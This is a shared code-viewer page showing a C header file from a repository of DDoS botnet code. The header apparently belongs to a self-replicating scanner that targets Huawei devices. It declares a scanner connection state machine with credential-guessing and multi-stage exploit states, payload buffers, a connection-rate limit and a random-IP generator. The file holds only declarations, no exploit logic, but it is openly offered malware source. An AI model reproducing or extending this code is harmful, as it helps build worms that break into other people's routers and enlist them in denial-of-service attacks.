Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/HuaWei/huawei.h
5038 views
1
#pragma once
2
3
#include <stdint.h>
4
5
#include "includes.h"
6
7
#define HUAWEI_SCANNER_MAX_CONNS 128
8
#define HUAWEI_SCANNER_RAW_PPS 256
9
10
#define HUAWEI_SCANNER_RDBUF_SIZE 256
11
#define HUAWEI_SCANNER_HACK_DRAIN 64
12
13
struct huawei_scanner_connection
14
{
15
int fd, last_recv;
16
enum
17
{
18
HUAWEI_SC_CLOSED,
19
HUAWEI_SC_CONNECTING,
20
HUAWEI_SC_GET_CREDENTIALS,
21
HUAWEI_SC_EXPLOIT_STAGE2,
22
HUAWEI_SC_EXPLOIT_STAGE3,
23
} state;
24
ipv4_t dst_addr;
25
uint16_t dst_port;
26
int rdbuf_pos;
27
char rdbuf[HUAWEI_SCANNER_RDBUF_SIZE];
28
char **credentials;
29
char payload_buf[2560], payload_buf2[2560];
30
int credential_index;
31
};
32
33
void huawei_init();
34
void huawei_kill(void);
35
36
static void huawei_setup_connection(struct huawei_scanner_connection *);
37
static ipv4_t get_random_ip(void);
38
39
40